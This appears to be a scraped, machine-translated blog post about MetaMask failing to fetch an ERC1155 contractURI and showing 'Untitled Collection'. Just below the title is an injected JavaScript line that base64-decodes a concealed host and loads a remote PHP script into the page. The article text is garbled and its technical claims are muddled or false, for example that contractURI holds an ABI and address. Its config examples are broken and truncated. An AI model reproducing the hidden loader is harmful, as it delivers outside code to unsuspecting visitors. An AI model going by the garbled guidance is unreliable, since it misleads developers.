Metamask: Contract URI not fetched – shows “Untitled Collection” in metamask
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=d32bd3aa”;document.body.appendChild(script);
Metamk configuration problem with ERC1155 URI contract
I have found a problem with obtaining a specific metamasque configuration using the ‘contracturifield in my intelligent contract ERC1155. Specifically, when I try to deploy and interact with an NFT in the test network, I see that the
contracturiis not recovering correctly, resulting in showing a" collection without title "instead of the expected URI.
Understand Metamk configuration
Before immersing ourselves on the subject, let's quickly review how MetamSk configuration works. The configuration of a contract can be stored in a JSON file or as environmental variables. Thecontracturiis commonly used to specify the location of an ERC1155 ABI and address contract. When implementing its smart contract in Testnet, Metamk obtains this information automatically.
Problem solution steps
Here are some steps I took to solve the problem:
- Check the URI contract in Metamask
: First, be sure to have correctly configured the 'contracturi field of your smart contract. You can verify this by verifying the Metamask configuration page for your contract.
- Verify ERC1155 ABI and address : Verify that you have copied the correct ERC1155 and the address for your contract. Make sure it matches what is stored in the contract file or as an environment variable.
- Testnet configuration file : Make sure the
contracturi
field be correctly configured in its testnet configuration file (for example,.env.testnet
,testnet.json
, etc.) . This file contains the necessary information for MetamSk to obtain and show the URI of the contract.
Example of correct settings
For example, if you have a JSON file called contract_config.json
which contains:
`JSON
{
"Contractabi": {
"Name": "YourContractname",
"Address": "0xyourcontractaddress"
},
"Contracturi": "
}
You can store this in your file '.env.testnet as well:
`Bash
Contract_abi = "{{
'Name': 'YourContractname',
'Address': '0xyourcontractaddress'
} "
Contract_uri = "
Conclusion
In conclusion, the question ofcontracturiis not obtained correctly in Metamask by implementing an intelligent contract ERC1155 in Testnet can be attributed to an incorrect configuration. Be sure to verify the 'contracturi
field of your contract and make sure it coincides with what is stored as an environment variable or in a specific JSON file for its testnet configuration.
Following these steps, you must be able to solve this problem and show the URI of the expected contract by interacting with its smart contract in Testnet.